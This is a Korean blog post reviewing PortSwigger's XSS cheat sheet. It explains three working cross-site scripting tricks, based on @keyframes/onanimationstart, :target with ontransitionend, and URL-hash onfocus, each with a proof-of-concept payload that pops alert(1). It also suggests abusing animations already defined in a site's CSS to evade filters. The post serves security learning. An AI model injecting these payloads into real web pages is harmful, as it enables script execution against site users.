PortSwigger Research - One XSS cheatsheet to rule them all (review)

1. @keyframes

 

<style>@keyframes x{}</style>
<b style="animation-name:x" onanimationstart="alert(1)"></b>

 

CSS의 animation 기능을 이용한 XSS이다. 에니메이션이 시작하면 스크립트가 동작한다.

@keyframes는 animation-name으로 지정된 요소에 프레임 단위로 스타일을 정의하는 기능을 한다.

 

이 트릭을 이용하는데 style 태그를 삽입할 필요는 없다. 

웹 페이지에서 불러오는 CSS 라이브러리에 @keyframes가 존재할 때, 이를 이용해 XSS를 일으키면 된다.

만약 @keyframes가 존재하지 않는다면 style 태그를 심지말고 다른 방법을 찾는 것을 추천한다.

 

@keyframes makeCircle {
	to {
		border-radius:50%;
	} 
}
#square {
	width:100px;
	height:100px;
	background:green;
	animation:makeCircle 3s;
}

 

웹 페이지에 로딩된 CSS 라이브러리 코드에 위와 같은 코드가 존재한다고 하자.

원을 만드는 에니메이션 코드이다.

이를 이용해서 XSS 페이로드를 짜면 아래와 같다.

 

<div style="animation-name:makeCircle" onanimationstart="alert(1)"></div>

 

style을 지정할 때 animation-name을 animation으로 바꿔도 동일하게 동작한다. (animation의 첫번째 인자가 animation-name이다)

 

<div style="animation:makeCircle" onanimationstart="alert(1)"></div>

 

 

2. target, transition, hash

 

<style>
:target {
color:red;
}
/*page.html#x*/
</style>
<x id=x style="transition:color 1s" ontransitionend=alert(1)>

 

CSS의 target 선택자와 transition을 이용한 XSS이다.

target은 hash로 지정된 요소의 스타일을 정의한다.

transition은 transition-property로 지정된 속성을 변화시킨다.

(transition과 animation의 차이는 아래 링크를 참고)

 

https://learn.shayhowe.com/advanced-html-css/transitions-animations/

Transitions & Animations - Learn to Code Advanced HTML & CSS

 

코드를 살짝바꿔 실습해보자.

 

:target {
	background:orange;
}

 

위 CSS 코드가 페이지에 로딩됬다고 가정한다.

 

target에 정의된 속성을 transition-property로 하고 transition-duration을 지정해준다.

그리고 page.html#x 로 hash를 지정해주면 XSS가 동작한다. 

( transition-property : background, transition-duration : 1s )

 

<div id="x" style="transition:background 1s" ontransitionend="alert(1)"></div>

 

transition이 끝나고 XSS가 동작하기 때문에 1초 후에 실행된다.

 

 

3. onfocus, hash

 

<input onfocus=alert(1) id=x>
someurl.php#x

 

onfocus와 hash를 이용한 XSS이다.

hash로 지정되면 자동으로 focus 이벤트가 발생한다.

이 트릭은 autofocus를 사용할 수 없는 태그에 유용하다.

 

<a id="x" onfocus="alert(1)">
page.html#x

 

개인적으로 가장 선호하는 XSS 트릭이다.

 

 

 

https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all

One XSS cheatsheet to rule them all